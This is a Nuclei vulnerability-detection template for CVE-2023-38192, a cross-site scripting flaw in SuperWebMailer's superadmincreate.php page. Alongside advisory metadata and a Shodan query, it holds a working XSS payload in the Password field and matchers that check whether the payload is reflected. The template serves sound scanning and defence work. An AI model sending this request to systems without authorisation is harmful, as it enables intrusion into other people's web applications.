id: CVE-2023-38192

info:
  name: SuperWebMailer 9.00.0.01710 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    An issue was discovered in SuperWebMailer 9.00.0.01710 allowing XSS via crafted incorrect passwords.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Implement input validation and output encoding to prevent XSS attacks.
  reference:
    - https://herolab.usd.de/security-advisories/usd-2023-0011/
    - https://herolab.usd.de/security-advisories/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38192
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38192
    cwe-id: CWE-79
    epss-score: 0.01116
    epss-percentile: 0.62853
    cpe: cpe:2.3:a:superwebmailer:superwebmailer:9.00.0.01710:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: superwebmailer
    product: superwebmailer
    shodan-query: title:"SuperWebMailer"
  tags: cve,cve2023,superwebmailer,xss,vkev,vuln

http:
  - raw:
      - |
        POST /superadmincreate.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        Password=a"><script>alert(document.domain);</script>&PasswordAgain=b&Language=de&SubmitBtn=Nutzer+erstellen

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Password" value="a"><script>alert(document.domain);</script>'
          - 'SuperWebMailer'
        condition: and
        case-insensitive: true

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a00463044022026d8b7660cbf6310afb8083cc287bd0b0c826964a9120c4ec1d11e9c18ed0bb0022046c62b4ce36f93d6ca067e400c3fb774f15cb3bcf735f56d4caba604ec573d7b:922c64590222798bb761d5b6d8e72950